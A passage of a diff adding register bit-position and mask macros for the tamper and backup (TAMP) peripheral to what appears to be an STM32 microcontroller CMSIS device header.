TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define 